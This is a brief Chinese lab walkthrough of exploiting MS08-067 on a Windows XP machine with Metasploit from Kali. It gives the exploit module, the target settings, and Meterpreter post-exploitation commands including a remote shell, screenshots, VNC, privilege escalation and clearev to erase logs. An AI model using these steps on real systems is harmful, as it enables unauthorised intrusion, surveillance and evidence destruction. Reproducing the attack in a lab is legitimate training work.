MS08_067_netapi漏洞复现
winxp的ip地址为192.168.0.101
kali的ip地址为192.168.0.105
确保两台主机能ping通
接着我们使用kali中自带的msf进行攻击
开启postgresql数据库
service postgresql start
启动msf
msfconsole
我们利用msf的数据库搜索相应winxp的漏洞
search netapi
use exploit/windows/smb/ms08_067_netapi
show targets //查看使用平台
show options //查看要设置哪些参数
show payloads //查看可以使用哪些攻击载荷
check //设置完RHOST后检查其是否脆弱
exploit //开始攻击
RHOST为被攻击者的ip地址
LHOST为攻击者的ip地址
设置攻击载荷
开始攻击!
这就攻击成功了,可以看出还是很好利用的,没有过多的尝试,接下来可以做什么呢
shell //获取对方的cmd窗口
可以看到已经进入,并且在system32目录下,中间有部分乱码,不用管
恶搞一下
这样就在对方C盘下建了一个hahaha文件夹
存在,说明成功!
除此之外还可以有很多操作
reboot //重启受害人计算机
shutdown //关闭
sysinfo //查看目标系统信息
run vnc //开启远程桌面
clearev //清除计算机日志
screenshot //屏幕截图
getSystem //获取对方system权限
migrate //移动到另一个PID
getuid //获取当前权限的用户id
background 将Meterpreter放入后台(使用sessions -i重新连接到会话)
读者可以自行尝试